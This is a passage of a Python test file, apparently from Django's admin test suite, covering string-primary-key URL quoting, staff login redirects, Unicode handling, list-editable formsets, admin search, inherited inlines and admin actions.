        self.assertContains(response, should_contain)

    def test_url_conflicts_with_add(self):
        "A model with a primary key that ends with add or is `add` should be visible"
        add_model = ModelWithStringPrimaryKey.objects.create(pk="i have something to add")
        add_model.save()
        response = self.client.get(
            reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(add_model.pk),))
        )
        should_contain = """<h1>Change model with string primary key</h1>"""
        self.assertContains(response, should_contain)

        add_model2 = ModelWithStringPrimaryKey.objects.create(pk="add")
        add_url = reverse('admin:admin_views_modelwithstringprimarykey_add')
        change_url = reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(add_model2.pk),))
        self.assertNotEqual(add_url, change_url)

    def test_url_conflicts_with_delete(self):
        "A model with a primary key that ends with delete should be visible"
        delete_model = ModelWithStringPrimaryKey(pk="delete")
        delete_model.save()
        response = self.client.get(
            reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(delete_model.pk),))
        )
        should_contain = """<h1>Change model with string primary key</h1>"""
        self.assertContains(response, should_contain)

    def test_url_conflicts_with_history(self):
        "A model with a primary key that ends with history should be visible"
        history_model = ModelWithStringPrimaryKey(pk="history")
        history_model.save()
        response = self.client.get(
            reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(history_model.pk),))
        )
        should_contain = """<h1>Change model with string primary key</h1>"""
        self.assertContains(response, should_contain)

    def test_shortcut_view_with_escaping(self):
        "'View on site should' work properly with char fields"
        model = ModelWithStringPrimaryKey(pk='abc_123')
        model.save()
        response = self.client.get(
            reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(model.pk),))
        )
        should_contain = '/%s/" class="viewsitelink">' % model.pk
        self.assertContains(response, should_contain)

    def test_change_view_history_link(self):
        """Object history button link should work and contain the pk value quoted."""
        url = reverse(
            'admin:%s_modelwithstringprimarykey_change' % ModelWithStringPrimaryKey._meta.app_label,
            args=(quote(self.pk),)
        )
        response = self.client.get(url)
        self.assertEqual(response.status_code, 200)
        expected_link = reverse(
            'admin:%s_modelwithstringprimarykey_history' % ModelWithStringPrimaryKey._meta.app_label,
            args=(quote(self.pk),)
        )
        self.assertContains(response, '<a href="%s" class="historylink"' % escape(expected_link))

    def test_redirect_on_add_view_continue_button(self):
        """As soon as an object is added using "Save and continue editing"
        button, the user should be redirected to the object's change_view.

        In case primary key is a string containing some special characters
        like slash or underscore, these characters must be escaped (see #22266)
        """
        response = self.client.post(
            reverse('admin:admin_views_modelwithstringprimarykey_add'),
            {
                'string_pk': '123/history',
                "_continue": "1",  # Save and continue editing
            }
        )

        self.assertEqual(response.status_code, 302)  # temporary redirect
        self.assertIn('/123_2Fhistory/', response['location'])  # PK is quoted


@override_settings(ROOT_URLCONF='admin_views.urls')
class SecureViewTests(TestCase):
    """
    Test behavior of a view protected by the staff_member_required decorator.
    """

    def test_secure_view_shows_login_if_not_logged_in(self):
        """
        Ensure that we see the admin login form.
        """
        secure_url = reverse('secure_view')
        response = self.client.get(secure_url)
        self.assertRedirects(response, '%s?next=%s' % (reverse('admin:login'), secure_url))
        response = self.client.get(secure_url, follow=True)
        self.assertTemplateUsed(response, 'admin/login.html')
        self.assertEqual(response.context[REDIRECT_FIELD_NAME], secure_url)

    def test_staff_member_required_decorator_works_with_argument(self):
        """
        Ensure that staff_member_required decorator works with an argument
        (redirect_field_name).
        """
        secure_url = '/test_admin/admin/secure-view2/'
        response = self.client.get(secure_url)
        self.assertRedirects(response, '%s?myfield=%s' % (reverse('admin:login'), secure_url))


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewUnicodeTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.b1 = Book.objects.create(name='Lærdommer')
        cls.p1 = Promo.objects.create(name='<Promo for Lærdommer>', book=cls.b1)
        cls.chap1 = Chapter.objects.create(
            title='Norske bostaver æøå skaper problemer', content='<p>Svært frustrerende med UnicodeDecodeErro</p>',
            book=cls.b1
        )
        cls.chap2 = Chapter.objects.create(
            title='Kjærlighet', content='<p>La kjærligheten til de lidende seire.</p>', book=cls.b1)
        cls.chap3 = Chapter.objects.create(title='Kjærlighet', content='<p>Noe innhold</p>', book=cls.b1)
        cls.chap4 = ChapterXtra1.objects.create(chap=cls.chap1, xtra='<Xtra(1) Norske bostaver æøå skaper problemer>')
        cls.chap5 = ChapterXtra1.objects.create(chap=cls.chap2, xtra='<Xtra(1) Kjærlighet>')
        cls.chap6 = ChapterXtra1.objects.create(chap=cls.chap3, xtra='<Xtra(1) Kjærlighet>')
        cls.chap7 = ChapterXtra2.objects.create(chap=cls.chap1, xtra='<Xtra(2) Norske bostaver æøå skaper problemer>')
        cls.chap8 = ChapterXtra2.objects.create(chap=cls.chap2, xtra='<Xtra(2) Kjærlighet>')
        cls.chap9 = ChapterXtra2.objects.create(chap=cls.chap3, xtra='<Xtra(2) Kjærlighet>')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_unicode_edit(self):
        """
        A test to ensure that POST on edit_view handles non-ASCII characters.
        """
        post_data = {
            "name": "Test lærdommer",
            # inline data
            "chapter_set-TOTAL_FORMS": "6",
            "chapter_set-INITIAL_FORMS": "3",
            "chapter_set-MAX_NUM_FORMS": "0",
            "chapter_set-0-id": self.chap1.pk,
            "chapter_set-0-title": "Norske bostaver æøå skaper problemer",
            "chapter_set-0-content": "&lt;p&gt;Svært frustrerende med UnicodeDecodeError&lt;/p&gt;",
            "chapter_set-1-id": self.chap2.id,
            "chapter_set-1-title": "Kjærlighet.",
            "chapter_set-1-content": "&lt;p&gt;La kjærligheten til de lidende seire.&lt;/p&gt;",
            "chapter_set-2-id": self.chap3.id,
            "chapter_set-2-title": "Need a title.",
            "chapter_set-2-content": "&lt;p&gt;Newest content&lt;/p&gt;",
            "chapter_set-3-id": "",
            "chapter_set-3-title": "",
            "chapter_set-3-content": "",
            "chapter_set-4-id": "",
            "chapter_set-4-title": "",
            "chapter_set-4-content": "",
            "chapter_set-5-id": "",
            "chapter_set-5-title": "",
            "chapter_set-5-content": "",
        }

        response = self.client.post(reverse('admin:admin_views_book_change', args=(self.b1.pk,)), post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere

    def test_unicode_delete(self):
        """
        Ensure that the delete_view handles non-ASCII characters
        """
        delete_dict = {'post': 'yes'}
        delete_url = reverse('admin:admin_views_book_delete', args=(self.b1.pk,))
        response = self.client.get(delete_url)
        self.assertEqual(response.status_code, 200)
        response = self.client.post(delete_url, delete_dict)
        self.assertRedirects(response, reverse('admin:admin_views_book_changelist'))


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewListEditable(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')
        cls.per1 = Person.objects.create(name='John Mauchly', gender=1, alive=True)
        cls.per2 = Person.objects.create(name='Grace Hopper', gender=1, alive=False)
        cls.per3 = Person.objects.create(name='Guido van Rossum', gender=1, alive=True)

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_inheritance(self):
        Podcast.objects.create(name="This Week in Django", release_date=datetime.date.today())
        response = self.client.get(reverse('admin:admin_views_podcast_changelist'))
        self.assertEqual(response.status_code, 200)

    def test_inheritance_2(self):
        Vodcast.objects.create(name="This Week in Django", released=True)
        response = self.client.get(reverse('admin:admin_views_vodcast_changelist'))
        self.assertEqual(response.status_code, 200)

    def test_custom_pk(self):
        Language.objects.create(iso='en', name='English', english_name='English')
        response = self.client.get(reverse('admin:admin_views_language_changelist'))
        self.assertEqual(response.status_code, 200)

    def test_changelist_input_html(self):
        response = self.client.get(reverse('admin:admin_views_person_changelist'))
        # 2 inputs per object(the field and the hidden id field) = 6
        # 4 management hidden fields = 4
        # 4 action inputs (3 regular checkboxes, 1 checkbox to select all)
        # main form submit button = 1
        # search field and search submit button = 2
        # CSRF field = 1
        # field to track 'select all' across paginated views = 1
        # 6 + 4 + 4 + 1 + 2 + 1 + 1 = 19 inputs
        self.assertContains(response, "<input", count=19)
        # 1 select per object = 3 selects
        self.assertContains(response, "<select", count=4)

    def test_post_messages(self):
        # Ticket 12707: Saving inline editable should not show admin
        # action warnings
        data = {
            "form-TOTAL_FORMS": "3",
            "form-INITIAL_FORMS": "3",
            "form-MAX_NUM_FORMS": "0",

            "form-0-gender": "1",
            "form-0-id": "%s" % self.per1.pk,

            "form-1-gender": "2",
            "form-1-id": "%s" % self.per2.pk,

            "form-2-alive": "checked",
            "form-2-gender": "1",
            "form-2-id": "%s" % self.per3.pk,

            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_person_changelist'),
                                    data, follow=True)
        self.assertEqual(len(response.context['messages']), 1)

    def test_post_submission(self):
        data = {
            "form-TOTAL_FORMS": "3",
            "form-INITIAL_FORMS": "3",
            "form-MAX_NUM_FORMS": "0",

            "form-0-gender": "1",
            "form-0-id": "%s" % self.per1.pk,

            "form-1-gender": "2",
            "form-1-id": "%s" % self.per2.pk,

            "form-2-alive": "checked",
            "form-2-gender": "1",
            "form-2-id": "%s" % self.per3.pk,

            "_save": "Save",
        }
        self.client.post(reverse('admin:admin_views_person_changelist'), data)

        self.assertIs(Person.objects.get(name="John Mauchly").alive, False)
        self.assertEqual(Person.objects.get(name="Grace Hopper").gender, 2)

        # test a filtered page
        data = {
            "form-TOTAL_FORMS": "2",
            "form-INITIAL_FORMS": "2",
            "form-MAX_NUM_FORMS": "0",

            "form-0-id": "%s" % self.per1.pk,
            "form-0-gender": "1",
            "form-0-alive": "checked",

            "form-1-id": "%s" % self.per3.pk,
            "form-1-gender": "1",
            "form-1-alive": "checked",

            "_save": "Save",
        }
        self.client.post(reverse('admin:admin_views_person_changelist') + '?gender__exact=1', data)

        self.assertIs(Person.objects.get(name="John Mauchly").alive, True)

        # test a searched page
        data = {
            "form-TOTAL_FORMS": "1",
            "form-INITIAL_FORMS": "1",
            "form-MAX_NUM_FORMS": "0",

            "form-0-id": "%s" % self.per1.pk,
            "form-0-gender": "1",

            "_save": "Save",
        }
        self.client.post(reverse('admin:admin_views_person_changelist') + '?q=john', data)

        self.assertIs(Person.objects.get(name="John Mauchly").alive, False)

    def test_non_field_errors(self):
        ''' Ensure that non field errors are displayed for each of the
            forms in the changelist's formset. Refs #13126.
        '''
        fd1 = FoodDelivery.objects.create(reference='123', driver='bill', restaurant='thai')
        fd2 = FoodDelivery.objects.create(reference='456', driver='bill', restaurant='india')
        fd3 = FoodDelivery.objects.create(reference='789', driver='bill', restaurant='pizza')

        data = {
            "form-TOTAL_FORMS": "3",
            "form-INITIAL_FORMS": "3",
            "form-MAX_NUM_FORMS": "0",

            "form-0-id": str(fd1.id),
            "form-0-reference": "123",
            "form-0-driver": "bill",
            "form-0-restaurant": "thai",

            # Same data as above: Forbidden because of unique_together!
            "form-1-id": str(fd2.id),
            "form-1-reference": "456",
            "form-1-driver": "bill",
            "form-1-restaurant": "thai",

            "form-2-id": str(fd3.id),
            "form-2-reference": "789",
            "form-2-driver": "bill",
            "form-2-restaurant": "pizza",

            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_fooddelivery_changelist'), data)
        self.assertContains(
            response,
            '<tr><td colspan="4"><ul class="errorlist nonfield"><li>Food delivery '
            'with this Driver and Restaurant already exists.</li></ul></td></tr>',
            1,
            html=True
        )

        data = {
            "form-TOTAL_FORMS": "3",
            "form-INITIAL_FORMS": "3",
            "form-MAX_NUM_FORMS": "0",

            "form-0-id": str(fd1.id),
            "form-0-reference": "123",
            "form-0-driver": "bill",
            "form-0-restaurant": "thai",

            # Same data as above: Forbidden because of unique_together!
            "form-1-id": str(fd2.id),
            "form-1-reference": "456",
            "form-1-driver": "bill",
            "form-1-restaurant": "thai",

            # Same data also.
            "form-2-id": str(fd3.id),
            "form-2-reference": "789",
            "form-2-driver": "bill",
            "form-2-restaurant": "thai",

            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_fooddelivery_changelist'), data)
        self.assertContains(
            response,
            '<tr><td colspan="4"><ul class="errorlist nonfield"><li>Food delivery '
            'with this Driver and Restaurant already exists.</li></ul></td></tr>',
            2,
            html=True
        )

    def test_non_form_errors(self):
        # test if non-form errors are handled; ticket #12716
        data = {
            "form-TOTAL_FORMS": "1",
            "form-INITIAL_FORMS": "1",
            "form-MAX_NUM_FORMS": "0",

            "form-0-id": "%s" % self.per2.pk,
            "form-0-alive": "1",
            "form-0-gender": "2",

            # Ensure that the form processing understands this as a list_editable "Save"
            # and not an action "Go".
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_person_changelist'), data)
        self.assertContains(response, "Grace is not a Zombie")

    def test_non_form_errors_is_errorlist(self):
        # test if non-form errors are correctly handled; ticket #12878
        data = {
            "form-TOTAL_FORMS": "1",
            "form-INITIAL_FORMS": "1",
            "form-MAX_NUM_FORMS": "0",

            "form-0-id": "%s" % self.per2.pk,
            "form-0-alive": "1",
            "form-0-gender": "2",

            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_person_changelist'), data)
        non_form_errors = response.context['cl'].formset.non_form_errors()
        self.assertIsInstance(non_form_errors, ErrorList)
        self.assertEqual(str(non_form_errors), str(ErrorList(["Grace is not a Zombie"])))

    def test_list_editable_ordering(self):
        collector = Collector.objects.create(id=1, name="Frederick Clegg")

        Category.objects.create(id=1, order=1, collector=collector)
        Category.objects.create(id=2, order=2, collector=collector)
        Category.objects.create(id=3, order=0, collector=collector)
        Category.objects.create(id=4, order=0, collector=collector)

        # NB: The order values must be changed so that the items are reordered.
        data = {
            "form-TOTAL_FORMS": "4",
            "form-INITIAL_FORMS": "4",
            "form-MAX_NUM_FORMS": "0",

            "form-0-order": "14",
            "form-0-id": "1",
            "form-0-collector": "1",

            "form-1-order": "13",
            "form-1-id": "2",
            "form-1-collector": "1",

            "form-2-order": "1",
            "form-2-id": "3",
            "form-2-collector": "1",

            "form-3-order": "0",
            "form-3-id": "4",
            "form-3-collector": "1",

            # Ensure that the form processing understands this as a list_editable "Save"
            # and not an action "Go".
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_category_changelist'), data)
        # Successful post will redirect
        self.assertEqual(response.status_code, 302)

        # Check that the order values have been applied to the right objects
        self.assertEqual(Category.objects.get(id=1).order, 14)
        self.assertEqual(Category.objects.get(id=2).order, 13)
        self.assertEqual(Category.objects.get(id=3).order, 1)
        self.assertEqual(Category.objects.get(id=4).order, 0)

    def test_list_editable_pagination(self):
        """
        Ensure that pagination works for list_editable items.
        Refs #16819.
        """
        UnorderedObject.objects.create(id=1, name='Unordered object #1')
        UnorderedObject.objects.create(id=2, name='Unordered object #2')
        UnorderedObject.objects.create(id=3, name='Unordered object #3')
        response = self.client.get(reverse('admin:admin_views_unorderedobject_changelist'))
        self.assertContains(response, 'Unordered object #3')
        self.assertContains(response, 'Unordered object #2')
        self.assertNotContains(response, 'Unordered object #1')
        response = self.client.get(reverse('admin:admin_views_unorderedobject_changelist') + '?p=1')
        self.assertNotContains(response, 'Unordered object #3')
        self.assertNotContains(response, 'Unordered object #2')
        self.assertContains(response, 'Unordered object #1')

    def test_list_editable_action_submit(self):
        # List editable changes should not be executed if the action "Go" button is
        # used to submit the form.
        data = {
            "form-TOTAL_FORMS": "3",
            "form-INITIAL_FORMS": "3",
            "form-MAX_NUM_FORMS": "0",

            "form-0-gender": "1",
            "form-0-id": "1",

            "form-1-gender": "2",
            "form-1-id": "2",

            "form-2-alive": "checked",
            "form-2-gender": "1",
            "form-2-id": "3",

            "index": "0",
            "_selected_action": ['3'],
            "action": ['', 'delete_selected'],
        }
        self.client.post(reverse('admin:admin_views_person_changelist'), data)

        self.assertIs(Person.objects.get(name="John Mauchly").alive, True)
        self.assertEqual(Person.objects.get(name="Grace Hopper").gender, 1)

    def test_list_editable_action_choices(self):
        # List editable changes should be executed if the "Save" button is
        # used to submit the form - any action choices should be ignored.
        data = {
            "form-TOTAL_FORMS": "3",
            "form-INITIAL_FORMS": "3",
            "form-MAX_NUM_FORMS": "0",

            "form-0-gender": "1",
            "form-0-id": "%s" % self.per1.pk,

            "form-1-gender": "2",
            "form-1-id": "%s" % self.per2.pk,

            "form-2-alive": "checked",
            "form-2-gender": "1",
            "form-2-id": "%s" % self.per3.pk,

            "_save": "Save",
            "_selected_action": ['1'],
            "action": ['', 'delete_selected'],
        }
        self.client.post(reverse('admin:admin_views_person_changelist'), data)

        self.assertIs(Person.objects.get(name="John Mauchly").alive, False)
        self.assertEqual(Person.objects.get(name="Grace Hopper").gender, 2)

    def test_list_editable_popup(self):
        """
        Fields should not be list-editable in popups.
        """
        response = self.client.get(reverse('admin:admin_views_person_changelist'))
        self.assertNotEqual(response.context['cl'].list_editable, ())
        response = self.client.get(reverse('admin:admin_views_person_changelist') + '?%s' % IS_POPUP_VAR)
        self.assertEqual(response.context['cl'].list_editable, ())

    def test_pk_hidden_fields(self):
        """ Ensure that hidden pk fields aren't displayed in the table body and
            that their corresponding human-readable value is displayed instead.
            Note that the hidden pk fields are in fact be displayed but
            separately (not in the table), and only once.
            Refs #12475.
        """
        story1 = Story.objects.create(title='The adventures of Guido', content='Once upon a time in Djangoland...')
        story2 = Story.objects.create(
            title='Crouching Tiger, Hidden Python',
            content='The Python was sneaking into...',
        )
        response = self.client.get(reverse('admin:admin_views_story_changelist'))
        # Only one hidden field, in a separate place than the table.
        self.assertContains(response, 'id="id_form-0-id"', 1)
        self.assertContains(response, 'id="id_form-1-id"', 1)
        self.assertContains(
            response,
            '<div class="hiddenfields">\n'
            '<input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" />'
            '<input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" />\n</div>'
            % (story2.id, story1.id),
            html=True
        )
        self.assertContains(response, '<td class="field-id">%d</td>' % story1.id, 1)
        self.assertContains(response, '<td class="field-id">%d</td>' % story2.id, 1)

    def test_pk_hidden_fields_with_list_display_links(self):
        """ Similarly as test_pk_hidden_fields, but when the hidden pk fields are
            referenced in list_display_links.
            Refs #12475.
        """
        story1 = OtherStory.objects.create(
            title='The adventures of Guido',
            content='Once upon a time in Djangoland...',
        )
        story2 = OtherStory.objects.create(
            title='Crouching Tiger, Hidden Python',
            content='The Python was sneaking into...',
        )
        link1 = reverse('admin:admin_views_otherstory_change', args=(story1.pk,))
        link2 = reverse('admin:admin_views_otherstory_change', args=(story2.pk,))
        response = self.client.get(reverse('admin:admin_views_otherstory_changelist'))
        # Only one hidden field, in a separate place than the table.
        self.assertContains(response, 'id="id_form-0-id"', 1)
        self.assertContains(response, 'id="id_form-1-id"', 1)
        self.assertContains(
            response,
            '<div class="hiddenfields">\n'
            '<input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" />'
            '<input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" />\n</div>'
            % (story2.id, story1.id),
            html=True
        )
        self.assertContains(response, '<th class="field-id"><a href="%s">%d</a></th>' % (link1, story1.id), 1)
        self.assertContains(response, '<th class="field-id"><a href="%s">%d</a></th>' % (link2, story2.id), 1)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminSearchTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.joepublicuser = User.objects.create_user(username='joepublic', password='secret')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

        cls.per1 = Person.objects.create(name='John Mauchly', gender=1, alive=True)
        cls.per2 = Person.objects.create(name='Grace Hopper', gender=1, alive=False)
        cls.per3 = Person.objects.create(name='Guido van Rossum', gender=1, alive=True)

        cls.t1 = Recommender.objects.create()
        cls.t2 = Recommendation.objects.create(the_recommender=cls.t1)
        cls.t3 = Recommender.objects.create()
        cls.t4 = Recommendation.objects.create(the_recommender=cls.t3)

        cls.tt1 = TitleTranslation.objects.create(title=cls.t1, text='Bar')
        cls.tt2 = TitleTranslation.objects.create(title=cls.t2, text='Foo')
        cls.tt3 = TitleTranslation.objects.create(title=cls.t3, text='Few')
        cls.tt4 = TitleTranslation.objects.create(title=cls.t4, text='Bas')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_search_on_sibling_models(self):
        "Check that a search that mentions sibling models"
        response = self.client.get(reverse('admin:admin_views_recommendation_changelist') + '?q=bar')
        # confirm the search returned 1 object
        self.assertContains(response, "\n1 recommendation\n")

    def test_with_fk_to_field(self):
        """
        Ensure that the to_field GET parameter is preserved when a search
        is performed. Refs #10918.
        """
        response = self.client.get(reverse('admin:auth_user_changelist') + '?q=joe&%s=id' % TO_FIELD_VAR)
        self.assertContains(response, "\n1 user\n")
        self.assertContains(response, '<input type="hidden" name="%s" value="id"/>' % TO_FIELD_VAR, html=True)

    def test_exact_matches(self):
        response = self.client.get(reverse('admin:admin_views_recommendation_changelist') + '?q=bar')
        # confirm the search returned one object
        self.assertContains(response, "\n1 recommendation\n")

        response = self.client.get(reverse('admin:admin_views_recommendation_changelist') + '?q=ba')
        # confirm the search returned zero objects
        self.assertContains(response, "\n0 recommendations\n")

    def test_beginning_matches(self):
        response = self.client.get(reverse('admin:admin_views_person_changelist') + '?q=Gui')
        # confirm the search returned one object
        self.assertContains(response, "\n1 person\n")
        self.assertContains(response, "Guido")

        response = self.client.get(reverse('admin:admin_views_person_changelist') + '?q=uido')
        # confirm the search returned zero objects
        self.assertContains(response, "\n0 persons\n")
        self.assertNotContains(response, "Guido")

    def test_pluggable_search(self):
        PluggableSearchPerson.objects.create(name="Bob", age=10)
        PluggableSearchPerson.objects.create(name="Amy", age=20)

        response = self.client.get(reverse('admin:admin_views_pluggablesearchperson_changelist') + '?q=Bob')
        # confirm the search returned one object
        self.assertContains(response, "\n1 pluggable search person\n")
        self.assertContains(response, "Bob")

        response = self.client.get(reverse('admin:admin_views_pluggablesearchperson_changelist') + '?q=20')
        # confirm the search returned one object
        self.assertContains(response, "\n1 pluggable search person\n")
        self.assertContains(response, "Amy")

    def test_reset_link(self):
        """
        Test presence of reset link in search bar ("1 result (_x total_)").
        """
        #   1 query for session + 1 for fetching user
        # + 1 for filtered result + 1 for filtered count
        # + 1 for total count
        with self.assertNumQueries(5):
            response = self.client.get(reverse('admin:admin_views_person_changelist') + '?q=Gui')
        self.assertContains(
            response,
            """<span class="small quiet">1 result (<a href="?">3 total</a>)</span>""",
            html=True
        )

    def test_no_total_count(self):
        """
        #8408 -- "Show all" should be displayed instead of the total count if
        ModelAdmin.show_full_result_count is False.
        """
        #   1 query for session + 1 for fetching user
        # + 1 for filtered result + 1 for filtered count
        with self.assertNumQueries(4):
            response = self.client.get(reverse('admin:admin_views_recommendation_changelist') + '?q=bar')
        self.assertContains(
            response,
            """<span class="small quiet">1 result (<a href="?">Show all</a>)</span>""",
            html=True
        )
        self.assertTrue(response.context['cl'].show_admin_actions)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminInheritedInlinesTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_inline(self):
        "Ensure that inline models which inherit from a common parent are correctly handled by admin."
        foo_user = "foo username"
        bar_user = "bar username"

        name_re = re.compile(b'name="(.*?)"')

        # test the add case
        response = self.client.get(reverse('admin:admin_views_persona_add'))
        names = name_re.findall(response.content)
        # make sure we have no duplicate HTML names
        self.assertEqual(len(names), len(set(names)))

        # test the add case
        post_data = {
            "name": "Test Name",
            # inline data
            "accounts-TOTAL_FORMS": "1",
            "accounts-INITIAL_FORMS": "0",
            "accounts-MAX_NUM_FORMS": "0",
            "accounts-0-username": foo_user,
            "accounts-2-TOTAL_FORMS": "1",
            "accounts-2-INITIAL_FORMS": "0",
            "accounts-2-MAX_NUM_FORMS": "0",
            "accounts-2-0-username": bar_user,
        }

        response = self.client.post(reverse('admin:admin_views_persona_add'), post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere
        self.assertEqual(Persona.objects.count(), 1)
        self.assertEqual(FooAccount.objects.count(), 1)
        self.assertEqual(BarAccount.objects.count(), 1)
        self.assertEqual(FooAccount.objects.all()[0].username, foo_user)
        self.assertEqual(BarAccount.objects.all()[0].username, bar_user)
        self.assertEqual(Persona.objects.all()[0].accounts.count(), 2)

        persona_id = Persona.objects.all()[0].id
        foo_id = FooAccount.objects.all()[0].id
        bar_id = BarAccount.objects.all()[0].id

        # test the edit case

        response = self.client.get(reverse('admin:admin_views_persona_change', args=(persona_id,)))
        names = name_re.findall(response.content)
        # make sure we have no duplicate HTML names
        self.assertEqual(len(names), len(set(names)))

        post_data = {
            "name": "Test Name",

            "accounts-TOTAL_FORMS": "2",
            "accounts-INITIAL_FORMS": "1",
            "accounts-MAX_NUM_FORMS": "0",

            "accounts-0-username": "%s-1" % foo_user,
            "accounts-0-account_ptr": str(foo_id),
            "accounts-0-persona": str(persona_id),

            "accounts-2-TOTAL_FORMS": "2",
            "accounts-2-INITIAL_FORMS": "1",
            "accounts-2-MAX_NUM_FORMS": "0",

            "accounts-2-0-username": "%s-1" % bar_user,
            "accounts-2-0-account_ptr": str(bar_id),
            "accounts-2-0-persona": str(persona_id),
        }
        response = self.client.post(reverse('admin:admin_views_persona_change', args=(persona_id,)), post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Persona.objects.count(), 1)
        self.assertEqual(FooAccount.objects.count(), 1)
        self.assertEqual(BarAccount.objects.count(), 1)
        self.assertEqual(FooAccount.objects.all()[0].username, "%s-1" % foo_user)
        self.assertEqual(BarAccount.objects.all()[0].username, "%s-1" % bar_user)
        self.assertEqual(Persona.objects.all()[0].accounts.count(), 2)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminActionsTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = ExternalSubscriber.objects.create(name='John Doe', email='john@example.org')
        cls.s2 = Subscriber.objects.create(name='Max Mustermann', email='max@example.org')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_model_admin_custom_action(self):
        "Tests a custom action defined in a ModelAdmin method"
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'mail_admin',
            'index': 0,
        }
        self.client.post(reverse('admin:admin_views_subscriber_changelist'), action_data)
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Greetings from a ModelAdmin action')

    def test_model_admin_default_delete_action(self):
        "Tests the default delete action defined as a ModelAdmin method"
        action_data = {
            ACTION_CHECKBOX_NAME: [1, 2],
            'action': 'delete_selected',
            'index': 0,
        }
        delete_confirmation_data = {
            ACTION_CHECKBOX_NAME: [1, 2],
            'action': 'delete_selected',
            'post': 'yes',
        }
        confirmation = self.client.post(reverse('admin:admin_views_subscriber_changelist'), action_data)
        self.assertIsInstance(confirmation, TemplateResponse)
        self.assertContains(confirmation, "Are you sure you want to delete the selected subscribers?")
        self.assertContains(confirmation, "<h2>Summary</h2>")
        self.assertContains(confirmation, "<li>Subscribers: 2</li>")
        self.assertContains(confirmation, "<li>External subscribers: 1</li>")
        self.assertContains(confirmation, ACTION_CHECKBOX_NAME, count=2)
        self.client.post(reverse('admin:admin_views_subscriber_changelist'), delete_confirmation_data)
        self.assertEqual(Subscriber.objects.count(), 0)

    @override_settings(USE_THOUSAND_SEPARATOR=True, USE_L10N=True)
    def test_non_localized_pk(self):
        """If USE_THOUSAND_SEPARATOR is set, make sure that the ids for
        the objects selected for deletion are rendered without separators.
        Refs #14895.
        """
        subscriber = Subscriber.objects.get(id=1)
        subscriber.id = 9999
        subscriber.save()
        action_data = {
            ACTION_CHECKBOX_NAME: [9999, 2],
            'action': 'delete_selected',
            'index': 0,
        }
        response = self.client.post(reverse('admin:admin_views_subscriber_changelist'), action_data)
        self.assertTemplateUsed(response, 'admin/delete_selected_confirmation.html')
        self.assertContains(response, 'value="9999"')  # Instead of 9,999
        self.assertContains(response, 'value="2"')

    def test_model_admin_default_delete_action_protected(self):
        """
        Tests the default delete action defined as a ModelAdmin method in the
        case where some related objects are protected from deletion.
        """
        q1 = Question.objects.create(question="Why?")
        a1 = Answer.objects.create(question=q1, answer="Because.")
        a2 = Answer.objects.create(question=q1, answer="Yes.")
        q2 = Question.objects.create(question="Wherefore?")

        action_data = {
            ACTION_CHECKBOX_NAME: [q1.pk, q2.pk],
            'action': 'delete_selected',
            'index': 0,
        }
        delete_confirmation_data = action_data.copy()
        delete_confirmation_data['post'] = 'yes'

        response = self.client.post(reverse('admin:admin_views_question_changelist'), action_data)

        self.assertContains(response, "would require deleting the following protected related objects")
        self.assertContains(
            response,
            '<li>Answer: <a href="%s">Because.</a></li>' % reverse('admin:admin_views_answer_change', args=(a1.pk,)),
            html=True
        )
